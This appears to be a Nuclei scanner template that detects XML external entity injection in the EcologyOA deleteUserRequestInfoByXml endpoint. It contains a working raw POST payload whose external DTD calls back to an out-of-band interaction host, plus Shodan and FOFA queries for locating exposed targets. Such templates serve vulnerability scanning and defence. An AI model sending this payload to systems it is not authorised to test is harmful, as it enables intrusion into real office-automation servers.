id: ecology-oa-byxml-xxe

info:
  name: EcologyOA deleteUserRequestInfoByXml - XML External Entity Injection
  author: SleepingBag945
  severity: high
  description: |
    EcologyOA deleteUserRequestInfoByXml interface has XXE
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology-oa,xxe

http:
  - raw:
      - |
        POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE syscode SYSTEM "http://{{interactsh-url}}">
        <M><syscode>&send;</syscode></M>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WfData'

      - type: word
        part: header
        words:
          - 'application/xml'

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100e83633e4bc681ba8b4dd992db09c91feffc8a9df5d87140d795e6c3e5af3a715022100cf9c77586483f6a8ec8c336da060d7fa98c909b4a9b7c69aafc8592a748e4588:922c64590222798bb761d5b6d8e72950